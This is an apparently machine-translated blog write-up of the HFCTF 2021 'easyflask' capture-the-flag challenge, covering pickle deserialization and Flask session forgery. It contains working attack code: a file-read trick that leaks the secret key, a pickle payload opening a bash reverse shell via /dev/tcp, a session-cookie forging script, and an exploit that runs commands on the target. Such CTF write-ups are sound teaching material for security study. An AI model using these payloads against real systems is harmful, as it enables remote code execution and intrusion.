当前位置:网站首页>[HFCTF 2021 Final]easyflask
[HFCTF 2021 Final]easyflask
2022-07-29 10:08:00 【Strange Xiaosheng lost his mind】
I really can't stand this problem
I did it for a long time Keep working on this problem
Want to say dirty words
Bear with You say this question is difficult The operation seems to be just these steps
It's not difficult for you to say buuctf There aren't many people doing Online wp Not so much There are also masters who encounter difficulties in doing this
Anyway, it's quite a mess If you use forgery session do An official script came, indeed
Examination site :
pickle Deserialization
session forge
start :
The opening directly gave a hint /file?file=index.js
Enter again /app/source, Then you get a lump
Tidy up
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
The obvious admin Next pickle Deserialization
stay /file Under route , Read /proc/self/environ obtain key
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
Deserialize script on
import os
import pickle
from base64 import b64encode
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/20 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
Note that there win Lower and linux The result of running this script under is different python3 and python2 The running results are also different I am here python2 The following seems to be a success
forge session:
See wp Used by many masters flask-unsign But I didn't succeed , Also useful flask-session-manage Of , I didn't succeed Then I used a script
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
This is also in linux python3 I seem to have succeeded once
Then use this fake session To visit /admin route Grab the bag rebound shell Just a matter of
There is also an official exp Simple and crude
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requests
url = "http://f467c348-ba1b-4d54-bd8e-ed65c81db22b.node4.buuoj.cn:81/file?file=/app/source"
def get_secret_key():
target = url + "/file?file=/proc/self/environ"
r = requests.get(target)
key = re.findall('key=(.*?)OLDPWD',r.text)
return str(key[0])
secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
#print(secret_key)
class FakeApp:
secret_key = secret_key
class User(object):
def __reduce__(self):
import os
cmd = "cat /flag > /tmp/test1"
return (os.system,(cmd,))
exp = {
"b":base64.b64encode(pickle.dumps(User()))
}
print(exp)
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
{'u':exp}
)
print(cookie)
headers = {
"Accept":"*/*",
"Cookie":"session={0}".format(cookie)
}
req = requests.get(url+"/admin",headers=headers)
req = requests.get(url+"/file?file=/tmp/test1",headers=headers)
print(req.text)
The same script is in linux Next python3 Run under
Conclusion :
As for why I say I seem to succeed once
There is One ls
cat /flag
I saw the rebound shell succeed
But I don't know why it's gone
Probably session That won't be possible
Then I tried again Try it, and now
I'm really speechless It may be the problem of the target It may also be my problem
Anyway, there is no rebound shell success
I really gave up
Toss this question again, and it will be gone this week I'm really convinced
The picture above is still me bp After grabbing the bag, I found that it couldn't To use hackbar do Then I was speechless
Anyway, it takes time I quit
It's swinging
边栏推荐
- ECCV 2022 | CMU提出在视觉Transformer上进行递归,不增参数,计算量还少
- QoS quality of service five traffic shaping of QoS boundary behavior
- English语法_不定代词 - 常用短语
- Intel joins hands with datawhale to launch learning projects!
- Excel tool for generating database table structure
- There is still a chance
- Talk about multithreaded concurrent programming from a different perspective without heap concept
- 程序员脱离单身的一些建议
- 数据可视化的利器-Seaborn简易入门
- PDF处理还收费?不可能
猜你喜欢
《LOL》从代码上来说最难的是哪个英雄?
Yin Yi: my learning and growth path
This developer, who has been on the list for four consecutive weeks, has lived like a contemporary college student
这是一份不完整的数据竞赛年鉴!
ECCV 2022 | CMU提出在视觉Transformer上进行递归,不增参数,计算量还少
MySQL infrastructure: SQL query statement execution process
跟着田老师学实用英语语法(持续更新)
高效能7个习惯学习笔记
Summary of window system operation skills
【论文阅读】I-BERT: Integer-only BERT Quantization
随机推荐
What is Cartland number? What are the applications?
Which hero is the most difficult for lol in terms of code?
机器学习入门的百科全书-2018年“机器学习初学者”公众号文章汇总
Implementation and verification logic of complex expression input component
MySQL infrastructure: SQL query statement execution process
How can Plato obtain premium income through elephant swap in a bear market?
i.MX6ULL驱动开发 | 32 - 手动编写一个虚拟网卡设备
皕杰报表之文本附件属件
CS research assurance experience in 2021 (VI): system filling + some thoughts
Soft exam summary
最新翻译的官方PyTorch简易入门教程(PyTorch1.0版本)
MySQL million level data migration practice notes
英特尔联合Datawhale,发布学习项目!
"Focus on machines": Zhu Songchun's team built a two-way value alignment system between people and robots to solve major challenges in the field of human-computer cooperation
数据可视化的利器-Seaborn简易入门
Anfulai embedded weekly report no. 273: 2022.07.04--2022.07.10
The purpose of DDD to divide domains, sub domains, core domains, and support domains
TCP failure model
Print out the "hourglass" and the remaining number according to the given number of characters and characters
Reasons for the rise of DDD and its relationship with microservices